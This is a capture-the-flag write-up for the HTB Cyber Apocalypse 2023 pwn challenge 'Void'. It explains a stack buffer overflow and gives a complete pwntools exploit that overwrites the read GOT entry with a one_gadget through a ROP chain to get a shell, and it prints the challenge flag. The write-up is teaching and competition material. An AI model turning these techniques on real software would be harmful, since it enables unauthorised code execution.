HTB Cyber Apocalypse 2023: Void

The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

TL;DR

Simple GOT overwrite with one_gadget via a write-what-where gadget.

Basic File Checks

Void is a simple binary that takes in user input and terminates right after that.

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of read@GLIBC in the GOT, and nothing interesting like puts() or write() that we can use to leak the LIBC address.

Static Code Analysis

The binary has an obvious buffer overflow in the vuln function. But other than that, the binary is very minimal, containing only a read() function, and nothing else; not even a ret2win function. This is a very typical textbook scenario for ret2dlresolve attack.

void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}

ret2dlresolve

Since the binary is a 64-bit program, there are known issues with exploiting ret2dlresolve with huge page sizes as described in this redpwnCTF 2021 writeup.

write-what-where

Inspecting the available ROP gadgets shows that there is a write-what-where gadget that is well-known in GCC-compiled binaries. If we can control both ebx and rbp values, we can leverage this gadget to overwrite the GOT.

NOTE: Ropper uses the Intel-syntax flavor, so ebx corresponds to WHAT; whereas rbp corresponds to WHERE. At the same time, rbp needs to account for the -0x48.

Luckily for us, pop rbp and pop rbx are both present in the binary as well. This means that we can now overwrite the read@GLIBC entry in the GOT with something like system() and pop a shell via /bin/sh as the same as this writeup.

Ropper limits the maximum count of instructions in a gadget to 6 by default. Turns out there's a better gadget to pop all 6 registers at once altogether. This option can be overridden via the --inst-count flag.

One Gadget

Alternatively, we can also overwrite the GOT with a one_gadget. We can satisfy all the constraints for the first one_gadget since we have the pop r12, pop r13, pop r14, pop r15 gadget at our disposal as well.

With ASLR disabled, we can calculate the actual address of the one_gadget by adding its offset to the base address of LIBC.

Solution

solve.py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    pop_rbp = 0x000000000040110d
    pop_rbx = 0x0000000000401140
    write_what_where = 0x000000000040114e   # mov qword ptr [rbp - 0x48], rbx; ret;
    pop_r12_r13_r14_r15 = 0x000000000040112b
    one_gadget = libc.address + 0xe3afe

    # 0xe3afe execve("/bin/sh", r15, r12)
    # constraints:
    #   [r15] == NULL || r15 == NULL
    #   [r12] == NULL || r12 == NULL

    # vmmap: libc base address = 0x7ffff7dd5000
    # gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe

    read_plt = exe.plt['read']
    read_got = exe.got['read']

    payload = b'A'*72
    payload += p64(pop_rbx) + p64(one_gadget)
    payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
    payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
    payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
    payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Flag: HTB{r3s0lv3_th3_d4rkn355}

Last updated